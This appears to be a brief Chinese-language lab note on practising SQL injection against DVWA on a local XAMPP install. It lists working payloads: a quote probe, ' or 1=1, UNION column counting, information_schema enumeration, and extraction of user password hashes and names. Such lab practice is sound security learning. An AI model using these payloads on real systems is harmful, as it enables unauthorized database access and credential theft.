启动xampp
/opt/lampp/lampp start
在搜狐浏览器中输入网址
http://127.0.0.1/DVWA/
select
在输入框中输入’
出现以下提示错误:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ””’ at line 1
表明很可能存在sql注入漏洞
1’
无反应,说明需要’以保证sql查询语句的正确性。
' or 1=1 --'
得到所有用户信息。
union
' union select 1 --'
得到以下错误:
The used SELECT statements have a different number of columns
' union select 1,2 --'
无错误信息,说明数据库有2列。
' union select 1, table_name from information_schema.tables -- '
可以从mysql数据库中得到所有表的表名。
' union select 1, column_name from information_schema.columns where table_name = 'users' -- '
从mysql数据库中得到users表的列名
' union select NULL, password from users -- '
得到密码的MD5值
' union select password, concat(first_name, ' ', last_name, ' ', user) from users -- '
列出了所有细节
参考
《Metasploit 魔鬼训练营》